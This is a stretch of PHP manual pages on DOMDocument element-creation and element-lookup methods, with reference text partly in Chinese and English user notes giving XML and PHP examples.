sergsokolenko at gmail dot com 30-Jan-2007 04:11
To avoid warning message "unterminated entity reference" you may use htmlentities() for escaping supplied value:
<?php
//...
$dom->createElement('name', htmlentities($text))
//...
?>


Create new element node with an associated namespace

  • ? DOMDocument::createElement
  • DOMDocument::createEntityReference ?
  • PHP Manual
  • DOMDocument
  • Create new element node with an associated namespace

DOMDocument::createElementNS

(PHP 5, PHP 7)

DOMDocument::createElementNS — Create new element node with an associated namespace

说明

public DOMDocument::createElementNS ( string $namespaceURI , string $qualifiedName [, string $value ] ) : DOMElement

This function creates a new element node with an associated namespace. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

namespaceURI

The URI of the namespace.

qualifiedName

The qualified name of the element, as prefix:tagname.

value

The value of the element. By default, an empty element will be created. You can also set the value later with DOMElement::$nodeValue.

返回值

The new DOMElement or FALSE if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if qualifiedName contains an invalid character.

DOM_NAMESPACE_ERR

Raised if qualifiedName is a maformed qualified name.

范例

Example #1 Creating a new element and inserting it as root

<?php

$dom = new DOMDocument('1.0', 'utf-8');

$element = $dom->createElementNS('http://www.example.com/XFoo', 'xfoo:test', 'This is the root element!');

// We insert the new element as root (child of the document)
$dom->appendChild($element);

echo $dom->saveXML();
?>

以上例程会输出：

<?xml version="1.0" encoding="utf-8"?>
<xfoo:test xmlns:xfoo="http://www.example.com/XFoo">This is the root element!</xfoo:test>

Example #2 A namespace prefix example

<?php
$doc  = new DOMDocument('1.0', 'utf-8');
$doc->formatOutput = true;
$root = $doc->createElementNS('http://www.w3.org/2005/Atom', 'element');
$doc->appendChild($root);
$root->setAttributeNS('http://www.w3.org/2000/xmlns/' ,'xmlns:g', 'http://base.google.com/ns/1.0');
$item = $doc->createElementNS('http://base.google.com/ns/1.0', 'g:item_type', 'house');
$root->appendChild($item);

echo $doc->saveXML(), "\n";

echo $item->namespaceURI, "\n"; // Outputs: http://base.google.com/ns/1.0
echo $item->prefix, "\n";       // Outputs: g
echo $item->localName, "\n";    // Outputs: item_type
?>

以上例程会输出：

<?xml version="1.0" encoding="utf-8"?>
<element xmlns="http://www.w3.org/2005/Atom" xmlns:g="http://base.google.com/ns/1.0">
  <g:item_type>house</g:item_type>
</element>

http://base.google.com/ns/1.0
g
item_type

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

Martin 27-Dec-2011 09:39
To avoid multiple xmlns re-declaration, make sure you appending ElementNS into actual DOMDocument tree (not into some currently-assembed derelict element).


Create new entity reference node

  • ? DOMDocument::createElementNS
  • DOMDocument::createProcessingInstruction ?
  • PHP Manual
  • DOMDocument
  • Create new entity reference node

DOMDocument::createEntityReference

(PHP 5, PHP 7)

DOMDocument::createEntityReference — Create new entity reference node

说明

public DOMDocument::createEntityReference ( string $name ) : DOMEntityReference

This function creates a new instance of class DOMEntityReference. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

name

The content of the entity reference, e.g. the entity reference minus the leading & and the trailing ; characters.

返回值

The new DOMEntityReference or FALSE if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if name contains an invalid character.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createProcessingInstruction() - Creates new PI node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

alicewonder at shastaherps dot org 24-Sep-2015 07:48
It appears that this does not work with numbered entities, only named entities.

$nbspace = $dom->createEntityReference('nbsp');

works

$nbspace = $dom->createEntityReference('#160');

does not. This makes this function rather useless when generating an XSL unless you modify the XSL doctype to include the named entity for the character you want.
Tuhin Bepari 04-Nov-2013 06:00
<?php
/*Entity is a group of words which print a special symbol.
Like if we want to show copy right symbol in html page then we use &copy; code and browser convert this to actual copyright symbol.
There have lots of entity, you can find them all form http://dev.w3.org/html5/html-author/charref
if you want to use < or > or both <> into a node value than xml will give and warning or make this value as a node.
So tell the xml parser that < or > is not tag symbol it is a entity.To do that you have to right &lt(<) and &gt;(>) instead of < and > symbol.

Entity references always begin with an ampersand (&) and end with a semicolon (;).
DO not need to use & and ; symbol begin and end of entity.Remove it when you want to use it to DOMDocument::createEntityReference
Then append to to a tag where you want to show this symbol.Like below
*/
$dom=new DOMDocument("1.0","UTF-8");
$example=$dom->createElement("example","This is copyright ");
$entity=$dom->createEntityReference("copy");
$example->appendChild($entity);
$dom->appendChild($example);
echo $dom->saveXML();

output is
This is copyright ©


Creates new PI node

  • ? DOMDocument::createEntityReference
  • DOMDocument::createTextNode ?
  • PHP Manual
  • DOMDocument
  • Creates new PI node

DOMDocument::createProcessingInstruction

(PHP 5, PHP 7)

DOMDocument::createProcessingInstruction — Creates new PI node

说明

public DOMDocument::createProcessingInstruction ( string $target [, string $data ] ) : DOMProcessingInstruction

This function creates a new instance of class DOMProcessingInstruction. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

target

The target of the processing instruction.

data

The content of the processing instruction.

返回值

The new DOMProcessingInstruction or FALSE if an error occurred.

错误／异常

DOM_INVALID_CHARACTER_ERR

Raised if target contains an invalid character.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createTextNode() - Create new text node

User Contributed Notes

romain at supinfo dot com 03-Feb-2009 11:57
A use exemple of this method :

Usefull for generating an XML linked with a XSLT !

<?php

// "Create" the document.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );

//to have indented output, not just a line
$xml->preserveWhiteSpace = false;
$xml->formatOutput = true;

// ------------- Interresting part here ------------

//creating an xslt adding processing line
$xslt = $xml->createProcessingInstruction('xml-stylesheet', 'type="text/xsl" href="base.xsl"');

//adding it to the xml
$xml->appendChild($xslt);

// ----------- / Interresting part here -------------

//adding some elements
$root = $xml->createElement("list");
$node = $xml->createElement("contact", "John Doe");
$root-> appendChild($node);
$xml-> appendChild($root);

//creating the file
$xml-> save("output.xml");

?>

output.xml :

<?xml version="1.0" encoding="ISO-8859-15"?>
<?xml-stylesheet type="text/xsl" href="base.xsl"?> //the line has been created successfully
<list>
  <contact>John Doe</contact>
</list>


Create new text node

  • ? DOMDocument::createProcessingInstruction
  • DOMDocument::getElementById ?
  • PHP Manual
  • DOMDocument
  • Create new text node

DOMDocument::createTextNode

(PHP 5, PHP 7)

DOMDocument::createTextNode — Create new text node

说明

public DOMDocument::createTextNode ( string $content ) : DOMText

This function creates a new instance of class DOMText. 此节点出现在文档中，除非是用诸如 DOMNode->appendChild() 等函数来将其插入。

参数

content

The content of the text.

返回值

The new DOMText or FALSE if an error occurred.

参见

  • DOMNode::appendChild() - Adds new child at the end of the children
  • DOMDocument::createAttribute() - Create new attribute
  • DOMDocument::createAttributeNS() - Create new attribute node with an associated namespace
  • DOMDocument::createCDATASection() - Create new cdata node
  • DOMDocument::createComment() - Create new comment node
  • DOMDocument::createDocumentFragment() - Create new document fragment
  • DOMDocument::createElement() - Create new element node
  • DOMDocument::createElementNS() - Create new element node with an associated namespace
  • DOMDocument::createEntityReference() - Create new entity reference node
  • DOMDocument::createProcessingInstruction() - Creates new PI node

User Contributed Notes

drewish at katherinehouse dot com 16-Dec-2014 10:03
The docs don't mention it but this method performs escaping on the value. If you don't want that use createElement() instead.
Alex Kaye 25-Jul-2009 07:04
A quick note to anyone who is using character entities (e.g. &copy;) in this, and finding them automatically escaped. The correct thing to do here is to use the createEntityReference method (e.g. createEntityReference("copy");), and then appendChild this entity between text nodes.

Example:

<?php
$copyright_text_1 = $this->document->createTextNode("Copyright ");
$copyright_text_2 = $this->document->createTextNode(" Alex Kaye 2009");
$copyright_symbol = $this->document->createEntityReference("copy");
$copyright->appendChild($copyright_text_1);
$copyright->appendChild($copyright_symbol);
$copyright->appendChild($copyright_text_2);
?>


Searches for an element with a certain id

  • ? DOMDocument::createTextNode
  • DOMDocument::getElementsByTagName ?
  • PHP Manual
  • DOMDocument
  • Searches for an element with a certain id

DOMDocument::getElementById

(PHP 5, PHP 7)

DOMDocument::getElementById — Searches for an element with a certain id

说明

public DOMDocument::getElementById ( string $elementId ) : DOMElement

This function is similar to DOMDocument::getElementsByTagName but searches for an element with a given id.

For this function to work, you will need either to set some ID attributes with DOMElement::setIdAttribute or a DTD which defines an attribute to be of type ID. In the later case, you will need to validate your document with DOMDocument::validate or DOMDocument::$validateOnParse before using this function.

参数

elementId

The unique id value for an element.

返回值

Returns the DOMElement or NULL if the element is not found.

范例

Example #1 DOMDocument::getElementById() Example

以下范例使用了 book.xml，其内容如下：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE books [
  <!ELEMENT books   (book+)>
  <!ELEMENT book    (title, author+, xhtml:blurb?)>
  <!ELEMENT title   (#PCDATA)>
  <!ELEMENT blurb   (#PCDATA)>
  <!ELEMENT author  (#PCDATA)>
  <!ATTLIST books   xmlns        CDATA  #IMPLIED>
  <!ATTLIST books   xmlns:xhtml  CDATA  #IMPLIED>
  <!ATTLIST book    id           ID     #IMPLIED>
  <!ATTLIST author  email        CDATA  #IMPLIED>
]>
<?xml-stylesheet type="text/xsl" href="style.xsl"?>
<books xmlns="http://books.php/" xmlns:xhtml="http://www.w3.org/1999/xhtml">
  <book id="php-basics">
    <title>PHP Basics</title>
    <author email="jim.smith@basics.php">Jim Smith</author>
    <author email="jane.smith@basics.php">Jane Smith</author>
    <xhtml:blurb><![CDATA[
<p><em>PHP Basics</em> provides an introduction to PHP.</p>
]]></xhtml:blurb>
  </book>
  <book id="php-advanced">
    <title>PHP Advanced Programming</title>
    <author email="jon.doe@advanced.php">Jon Doe</author>
  </book>
</books>
<?php

$doc = new DomDocument;

// We need to validate our document before refering to the id
$doc->validateOnParse = true;
$doc->Load('book.xml');

echo "The element whose id is 'php-basics' is: " . $doc->getElementById('php-basics')->tagName . "\n";

?>

以上例程会输出：

The element whose id is 'php-basics' is: book

参见

  • DOMDocument::getElementsByTagName() - Searches for all elements with given local tag name

User Contributed Notes

ed at edgiardina dot com 13-Oct-2010 11:41
Please note that if your HTML does not contain a doctype declaration, then getElementById will always return null.
paradox_haze at live dot de 02-Mar-2010 10:53
Had some issues with getElementById() while searching for a specific element in a XHTML document.
I wrote a small function what was solving my problem:

<?php
function getElementById($id)
{
    $xpath = new DOMXPath($this->domDocument);
    return $xpath->query("//*[@id='$id']")->item(0);
}
?>
carl2088 at gmail dot com 11-Apr-2009 12:41
From my experience, getElementById seem to work fine without any setups if you have loaded a HTML document. But in order for getElementById to work with a simple XML document that you've "constructed", you have to set up the id with "xml:" prefix and use setIdAttribute on the element you created or it won't work. See following example, hope this will save someone's frustration. If you have loaded the xml file, then all you have to make sure is the ID has a xml: prefix for the attribute.  But if you start to append the XML document, don't forget to setIdAttribute on the id name or those elements or getElementById will return null when you try to find them.

<?php

    /* test.xml
    <?xml version="1.0" encoding="utf-8"?>
    <root>
        <child xml:id="id_xxxxxx" status="partial">
            <sub_child>Some Data</sub_child>
        </child>
    </root>
    */

    $xmlDom = new DOMDocument('1.0', 'utf-8');
    $xmlDom->formatOutput = true;                        // we want a nice output

    // create a root
    $eltRoot = $xmlDom->createElement("root");
    $xmlDom->appendChild($eltRoot);

    $eltChild = $xmlDom->createElement("child");
    $eltRoot->appendChild($eltChild);

    // add a id attribute
    $attr = $xmlDom->createAttribute("xml:id");    // needs xml prefix or getElementById won't work
    $eltChild->appendChild($attr);

    /// create the text node and append to the created element
    $tNode = $xmlDom->createTextNode("id_8120528");
    $attr->appendChild($tNode);
    $eltChild->setIdAttribute("xml:id", true);    // VERY IMPORT or getElementById won't work

    // add a id attribute
    $attr = $xmlDom->createAttribute("status");
    $eltChild->appendChild($attr);

    /// create the text node and append to the created element
    $tNode = $xmlDom->createTextNode("partial");
    $attr->appendChild($tNode);

    // add a subchild
    $eltSub = $xmlDom->createElement("sub_child");
    $eltChild->appendChild($eltSub);

    $tNode = $xmlDom->createTextNode("Some Data");
    $eltSub->appendChild($tNode);

    $id = null;
    $id = $xmlDom->getElementById("id_8120528");

    assert ($id != null);

    $strId = $id->getAttribute("xml:id"); // bug? empty
    $strStatus = $id->getAttribute("status"); // this works!

    assert ($id !=null);

    $xmlDom->save("./_data/test.xml");

    $xmlDom->load("./_data/test.xml"); // reloading fixes the problem

    $nodeRoot = $xmlDom->getElementsByTagName("root");
    if ($nodeRoot->length > 0) {
        $eltRoot = $nodeRoot->item(0);
    }

    assert($eltRoot != null);

    $id = null;
    $id = $xmlDom->getElementById("id_8120528");

    assert ($id != null);

    $strId = $id->getAttribute("xml:id"); // this works now!
    $strStatus = $id->getAttribute("status"); // this works!

?>
guillaume dot crico at gmail dot com 01-Oct-2008 07:55
You don't want to use "xml:id" ?
Here is the relaxNG trick (with a generic schema):
(tested with libxml 2.6.26)

<?php
$doc = new DOMDocument();
$doc->load(...);

$rng = '
<grammar xmlns="http://relaxng.org/ns/structure/1.0" datatypeLibrary="http://www.w3.org/2001/XMLSchema-datatypes">
    <start>
        <element>
            <anyName/>
            <ref name="anythingID"/>
        </element>
    </start>
    <define name="anythingID">
        <zeroOrMore>
            <choice>
                <element>
                    <anyName/>
                    <ref name="anythingID"/>
                </element>
                <attribute name="id">
                    <data type="ID"/>
                </attribute>
                <zeroOrMore>
                    <attribute><anyName/></attribute>
                </zeroOrMore>
                <text/>
            </choice>
        </zeroOrMore>
    </define>
</grammar>
';

$doc->relaxNGValidateSource($rng);
var_dump($doc->getElementById('id1'));
?>

Note that ID values must be valid ones :
  - integers do no work!
  - @see http://www.w3.org/TR/REC-xml/#id
  - => (Letter | '_' | ':') ( Letter | Digit | '.' | '-' | '_' | ':' | CombiningChar | Extender  )*
simon at somewhere dot com 29-Jan-2007 08:07
SAVE YOURSELF A MAJOR HEADACHE AND A LOT OF SEARCHING THROUGH DOCUMENTATION -

Instead of using $object->setAttribute('id', 'id_name_here')
USE THIS: $object->setAttribute('xml:id', 'id_name_here')

Then, to get the node value: $domDocumentObject->getElementById('id_name_here');

The xml:id attribute should AUTOMATICALLY be defined!!

Woohoo!  That was easy......
jonbarnett at gmail dot com 01-Nov-2006 08:36
If your XML document does not have a DTD that defines the "id" attribute as an ID, then the easiest thing to do is to use XPath->query() to find an element that matches "//[@id='x']"
Tangui dot Le-Pense at laposte dot net 08-Apr-2006 06:00
Validating a document from a DTD so as to use getElementById is sometimes impossible (for example when the head and body elements are not included yet in a XHtml document : the validation failed).
Fortunately, xml:id is supported by this function :)
That may be useful.
http://www.w3.org/TR/xml-id/
20-Dec-2005 07:04
If you're trying to use getElementById with a xml file validated on a xsd file you must first use the schemaValidate function or getElementById will return null
Example:

  $dom = new DomDocument();
  $dom->load("users.xml");
  $dom->schemaValidate("users.xsd");

  $curruser = $dom->getElementById($user->name);
bart at mediawave dot nl 11-Sep-2005 04:46
It seems getElementById works fine without setting validateOnParse to true. Which is nice since setting this to true caused some performance problems with my script.


Searches for all elements with given local tag name

  • ? DOMDocument::getElementById
  • DOMDocument::getElementsByTagNameNS ?
  • PHP Manual
  • DOMDocument
  • Searches for all elements with given local tag name

DOMDocument::getElementsByTagName

(PHP 5, PHP 7)

DOMDocument::getElementsByTagName — Searches for all elements with given local tag name

说明

public DOMDocument::getElementsByTagName ( string $name ) : DOMNodeList

This function returns a new instance of class DOMNodeList containing all the elements with a given local tag name.

参数

name

The local name (without namespace) of the tag to match on. The special value * matches all tags.

返回值

A new DOMNodeList object containing all the matched elements.

范例

Example #1 Basic Usage Example

<?php
$xml = <<< XML
<?xml version="1.0" encoding="utf-8"?>
<books>
 <book>Patterns of Enterprise Application Architecture</book>
 <book>Design Patterns: Elements of Reusable Software Design</book>
 <book>Clean Code</book>
</books>
XML;

$dom = new DOMDocument;
$dom->loadXML($xml);
$books = $dom->getElementsByTagName('book');
foreach ($books as $book) {
    echo $book->nodeValue, PHP_EOL;
}
?>

以上例程会输出：

Patterns of Enterprise Application Architecture
Design Patterns: Elements of Reusable Software Design
Clean Code

参见

  • DOMDocument::getElementsByTagNameNS() - Searches for all elements with given tag name in specified namespace

User Contributed Notes

rsvvuuren at hotmail dot com 10-Jan-2014 10:00
I was in need of $dom->getElementsByTagName that would hist magic within a contextNode.

Why i needed getElementsByTagName instead of just simple using an xPath->query is because while looping through the returned nodelist, more nodes with the tagName i was looking for where created.

When using getElementsByTagName, the new nodes are "added" to the nodelist i already am looping through.

When using an xpath query, you wil only loop through the original nodelist, the newly created elements wil not appear in that nodelist.

I was already using an extended class on domDocument, so it was simple to create an kind of getElementsByTagName that would accept an contextNode.

<?php
class SmartDocument extends DOMDocument {
    private $localDom;
    public $xpath;
    private $serialize = array('localDom');

    private $elemName;
    private $elemCounter;

    /**
     * Constructor
     */
    function __construct() {
        parent::__construct ( '1.0', 'UTF-8' );
        $this->preserveWhiteSpace = false;
        $this->recover = TRUE;
        $this->xpath = new DOMXpath ( $this );
    }

    /**
     * GetElementsByTagname within an contextNode
     *
     * @param string $name
     * @param DomNode $contextNode
     * @return DOMNode|NULL
     */
    public function getElementsByTagNameContext($name, $contextNode) {

        if($this->elemName!=$name) {
            $this->elemCounter     = 0;
            $this->elemName        =$name;
        }

        $this->elemLength      = $this->xpath->evaluate('count(.//*[name()="'.$this->elemName.'"])', $contextNode);
        while($this->elemCounter < $this->elemLength) {
            $this->elemCounter++;
            $nl = $this->xpath->query('.//*[name()="'.$this->elemName.'"]['.$this->elemCounter.']', $contextNode);
            if($nl->length == 1) {
                return $nl->item(0);
            }
        }

        $this->elemLength      = null;
        $this->elemCounter     = null;
        $this->elemName        = null;
        return null;
    }
}

?>

Usage:

<?php

 $doc = new SmartDocument();
 $doc->load('book.xml');

 $nl = $doc->query('//books');
 foreach($nl as $node) {
  while($book = $doc->getElementsByTagNameContext('book', $node)) {
   //When you now create new nodes within this loop as child or following-sibling of this node
  // They show up within this loop
  }

 }

?>
simon at onepointltd dot com 10-Sep-2013 07:54
Here is a function to convert the populated tables in and HTML document into an array.

<?php
//Create an array containing all the populated tables in an HTML page
//Returned array: tables_to_array[table number][row number][column number]
function tables_to_array ($url) {
  $htmlDocDom = new DOMDocument();

  @$htmlDocDom->loadHTMLFile($url);
  $htmlDocDom->preserveWhiteSpace = false;
  $tableCounter = 0;
  $htmlDocTableArray = array();
  $htmlDocTables = $htmlDocDom->getElementsByTagName('table');
  foreach ($htmlDocTables as $htmlDocTable) {
    $htmlDocTableArray[$tableCounter] = array();
    $htmlDocRows= $htmlDocTable->getElementsByTagName('tr');
    $htmlDocRowCount = 0;
    $htmlDocTableArray[$tableCounter] = array();
    foreach ($htmlDocRows as $htmlDocRow) {
      if (strlen($htmlDocRow->nodeValue) > 1)
      {
        $htmlDocColCount = 0;
        $htmlDocTableArray[$tableCounter][$htmlDocRowCount] = array();
        $htmlDocCols = $htmlDocRow->getElementsByTagName('td');
        foreach ($htmlDocCols as $htmlDocCol) {
          $htmlDocTableArray[$tableCounter][$htmlDocRowCount][] = $htmlDocCol->nodeValue;
          $htmlDocColCount++;
        }
        $htmlDocRowCount++;
      }
    }
    if ($htmlDocRowCount > 1) $tableCounter++;
  }
  return($htmlDocTableArray);
}
?>
yaakov dot moddel at gmail dot com 28-Aug-2012 10:47
This is a very simplistic way to traverse xml nodes and childnodes using the DOMDocument class

<?php
$xml ='<?xml version="1.0" encoding="utf-8"?>
<root>
    <Parent>
        <child>child 1</child>
        <child>child 2</child>
        <child>child 3</child>
        <subParent>
            <Grandchild>Grandchild 1</Grandchild>
            <Grandchild>Grandchild 2</Grandchild>
            <Grandchild>Grandchild 3</Grandchild>
        </subParent>
    </Parent>
    <Parent>
        <child>child 4</child>
        <child>child 5</child>
        <child>child 6</child>
        <subParent>
            <Grandchild>Grandchild 4</Grandchild>
            <Grandchild>Grandchild 5</Grandchild>
            <Grandchild>Grandchild 6</Grandchild>
        </subParent>
    </Parent>
</root>';
      $doc = new DOMDocument();
      $doc->preserveWhiteSpace = false;
      $doc->loadXML($xml);
      $i=0;
            while(is_object($finance = $doc->getElementsByTagName("Parent")->item($i)))
            {
                     foreach($finance->childNodes as $nodename)
                     {
                             if($nodename->nodeName=='subParent')
                                {
                                     foreach($nodename->childNodes as $subNodes)
                                     {
                                     echo $subNodes->nodeName." - ".$subNodes->nodeValue."<br>";
                                     }
                                }
                             else
                                {
                                echo $nodename->nodeName." - ".$nodename->nodeValue."<br>";
                                }
                     }
      $i++;
            }
?>
metron at underhive-planet dot com 08-Oct-2010 05:28
My first try to get a stable solution with this function, failed with this Exception:

"Fatal error: Call to undefined method DOMNodeList::getElementsByTagName()"
This is the xml snipplet:
<?xml version="1.0" encoding="UTF-8"?>
<root>
 <component>
  <properties>
    ....<any element>
  </properties>
 </component>
</root>

So the php code to climb along the elements is:
<?php

$src = new DOMDocument('1.0', 'utf-8');
$src->formatOutput = true;
$src->preserveWhiteSpace = false;

//Loading extern file
$src->load('../xml/Item_component.xml');

//Check each child of first indexed branch node of: <component>
//First get element after root element: <component>

//1st level
$component = $src->getElementsByTagName('component')->item(0);

//2nd level, get next element after component, here it fails!!
$properties = $component->getElementsByTagName('properties')->item(0);
...
?>

I realised, that there is a different when using different libxml2 versions on Apache2. This code will fail with libxml2 version 2.6.23 and PHP version 5.2.6
--
->It works fine with libxml2 version 2.6.32 and PHP version 5.2.6-3ubuntu4.6
->...and finally it also works with libxml2 2.7.7 and PHP >= 5.3

So if you bored to search for solutions with DOM like I did, please ensure that your www environment has the correct libxml2 / PHP Version installed on your apache2 server.
calvin at g mail 02-Oct-2010 04:41
My first post!
And this is how I get elements by attribute and its value.
For an example, if I want to grab all DIV tags with class name 'className', then...

<?php
$some_link = 'some website';
$tagName = 'div';
$attrName = 'class';
$attrValue = 'className';

$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
@$dom->loadHTMLFile($some_link);

$html = getTags( $dom, $tagName, $attrName, $attrValue );
echo $html;

function getTags( $dom, $tagName, $attrName, $attrValue ){
    $html = '';
    $domxpath = new DOMXPath($dom);
    $newDom = new DOMDocument;
    $newDom->formatOutput = true;

    $filtered = $domxpath->query("//$tagName" . '[@' . $attrName . "='$attrValue']");
    // $filtered =  $domxpath->query('//div[@class="className"]');
    // '//' when you don't know 'absolute' path

    // since above returns DomNodeList Object
    // I use following routine to convert it to string(html); copied it from someone's post in this site. Thank you.
    $i = 0;
    while( $myItem = $filtered->item($i++) ){
        $node = $newDom->importNode( $myItem, true );    // import node
        $newDom->appendChild($node);                    // append node
    }
    $html = $newDom->saveHTML();
    return $html;
}

?>

Please, improve it, and share it.
Philip N 01-Sep-2010 03:17
Note that when using getElementsByTagName that it is a dynamic list. Thus if you have code which adjusts the DOM structure it will change the results of the getElementsByTagName results list.

The following code iterates through a complete set of results and changes them all to a new tag:

<?php
 $nodes = $xml->getElementsByTagName ("oldtag");

 $nodeListLength = $nodes->length; // this value will also change
 for ($i = 0; $i < $nodeListLength; $i ++)
 {
    $node = $nodes->item(0);

    // some code to change the tag name from "oldtag" to something else
    // e.g. encrypting a tag element
 }
?>

Since the list is dynamically updating, $nodes->item(0) is the next "unchanged" tag.
Marco Maranao 27-Apr-2010 10:22
The following takes a list of news items from an XML file (or an RSS feed), assigning it to an array first for a name value pair and then generating an HTML list.

<?php

$xml  =<<<EOT
<?xml version="1.0" encoding="ISO-8859-1"?>
<news>
    <item>
        <title>News 1</title>
        <created>04/2/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
    <item>
        <title>News 2</title>
        <created>04/25/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
    <item>
        <title>News 3</title>
        <created>04/27/2010 08:00 EST</created>
        <url>http://news.example.com/news.pdf</url>
    </item>
</news>
EOT;

$doc = new DOMDocument();

if ($doc->loadXML($xml)) {
    $items = $doc->getElementsByTagName('item');
    $headlines = array();

    foreach($items as $item) {
        $headline = array();

        if($item->childNodes->length) {
            foreach($item->childNodes as $i) {
                $headline[$i->nodeName] = $i->nodeValue;
            }
        }

        $headlines[] = $headline;
    }

    if(!empty($headlines)) {
        $hc = 0;

        echo '<ul>';

        foreach($headlines as $headline) {
            if(++$hc <= 3) {
                echo '<li>'
                    .'<a href="'.$headline['url'].'" target="_blank">'
                        .'<span>'.date('F j, Y', strtotime($headline['created'])).'</span><br />'
                        .$headline['title']
                    .'</a>'
                .'</li>';
            }
        }

        echo '</ul>';
    }
}

?>
james 01-Feb-2010 07:03
Problem:
You have an XML document that contains filename references to, say, images. Each filename reference is defined by <file>filename.ext</file> tag. You'd like to perform perform additional validation, say, after running the XML document through XSD validation. The additional validation can be any of your choice, in this example, it would be ideal to convert the PHP code to a function. The function would then determine if the images exist and return either an integer value or a boolean.

<?xml version="1.0"?>
<root>
<box>
<file>example.png</file>
</box>
<content>
<item>
<image><file>example2.png</file></image>
<caption>The above image is an example</caption>
</item>
</content>
</root>

Solution:
<?php

$dom = new DomDocument();
$dom->prevservWhiteSpace = false;

if (!@$dom->load("example.xml")) {
    echo "example.xml doesn't exist!\n";
    return;
}

$imageList = $dom->getElementsByTagName('file');
$imageCnt  = $imageList->length;

for ($idx = 0; $idx < $imageCnt; $idx++) {
    print $imageList->item($idx)->nodeValue . "\n";
}

?>

The above PHP code could easily be turned into a function that returns an array of image filenames, an integer value relative to the number of images found, etc.

Hope this is helpful.
gurmukh24 at gmail dot com 03-Mar-2009 04:06
Following Example is of multiple attributes and multiple child nodes. this is being used to make joomla plugin for bulk upload of articles. Gurmukh Singh Bhatti

<?php
$xml =<<<EOT
<?xml version="1.0"?>
<root>
<section name="Section1">
  <category id="Category1" name="google">
   <arti name="article1">
   <p>any html code here</p>
   <b>my name is so so</b>
    </arti>
   <arti name="article2">value2</arti>
   <arti name="article3">value3</arti>
   <arti name="article4">value4</arti>
  </category>
    <category id="Category2" name="yahoo">
   <arti name="articleSection2">Test value</arti>
  </category>
</section>
<section name="Section2">
  <category id="category1_of_section2" name="msn">
   <arti name="article2">value1</arti>
   <arti name="article3">value2</arti>
  </category>
    <category id="Category2_of_section2" name="webcare">
    <arti name="param3">value4</arti>
   </category>
</section>
</root>
EOT;

$dom = new DomDocument;
$dom->preserveWhiteSpace = FALSE;
$dom->loadXML($xml);
$params = $dom->getElementsByTagName('section'); // Find Sections
$k=0;
foreach ($params as $param) //go to each section 1 by 1
{
         echo "Section Attribute :-> ".$params->item($k)->getAttribute('name')."<br>";   //get section attribute
         $params2 = $params->item($k)->getElementsByTagName('category'); //digg categories with in Section
      $i=0; // values is used to iterate categories
        foreach ($params2 as $p) {
           echo "&nbsp;&nbsp;- Category Attribute Name :-> ".$params2->item($i)->getAttribute('name')."<br>"; //get Category attributes
            $params3 = $params2->item($i)->getElementsByTagName('arti'); //dig Arti into Categories
                 $j=0;//values used to interate Arti
                     foreach ($params3 as $p2)
                   {
                    echo "&nbsp;&nbsp;&nbsp;- Article Attribute Name : ".$params3->item($j)->getAttribute('name').""; //get arti atributes
echo "&nbsp;&nbsp; Value : ".$params3->item($j)->nodeValue."<br>"; //get Node value ;
                              $j++;
                   }
         $i++;
      }
$k++;

}
?>

output :
 Section Attribute :-> Section1
  - Category Attribute Name :-> google
            - Article Attribute Name : article1   Value : any html code heremy name is so so
            - Article Attribute Name : article2   Value : value2
            - Article Attribute Name : article3   Value : value3
            - Article Attribute Name : article4   Value : value4
  - Category Attribute Name :-> yahoo
            - Article Attribute Name : articleSection2   Value : Test value
Section Attribute :-> Section2
  - Category Attribute Name :-> msn
            - Article Attribute Name : article2   Value : value1
            - Article Attribute Name : article3   Value : value2
  - Category Attribute Name :-> webcare
            - Article Attribute Name : param3   Value : value4
James L 19-Aug-2008 04:04
Return if there are no matches is an empty DOMNodeList. Check using length property, e.g.:

<?php
$nodes=$domDocument->getElementsByTagName('book') ;
if ($nodes->length==0) {
   // no results
}
?>
jason at shaped dot ca 11-Feb-2008 04:59
in response to tildy at pr dot hu

my preferred way is (in example to gather country data from an iso 3166 xml flie)

$countries = new DOMDocument();
$countries->load("./lib/iso_3166.xml");

$countriesList = $countries->getElementsByTagName("ISO_3166-1_Entry");

foreach($countriesList as $country) {
    $values = $country->getElementsByTagName("*");
    foreach($values as $node) {
      echo $node->nodeName."=".$node->nodeValue;
    }
}
Finding values of a node 14-Mar-2007 02:01
I don't know if this is that obvious but it was not for me, so in addition to gem at rellim dot com's posting:
adding

<?php
echo $param -> nodeValue.'<br>';
?>

to the loop will output
value1
value2
value3
gem at rellim dot com 29-Sep-2004 04:20
Here is an example of getElementsByTagName():

<?php
$xml =<<<EOT
<?xml version="1.0"?>
<config>
  <section id="section1">
   <param name="param1">value1</param>
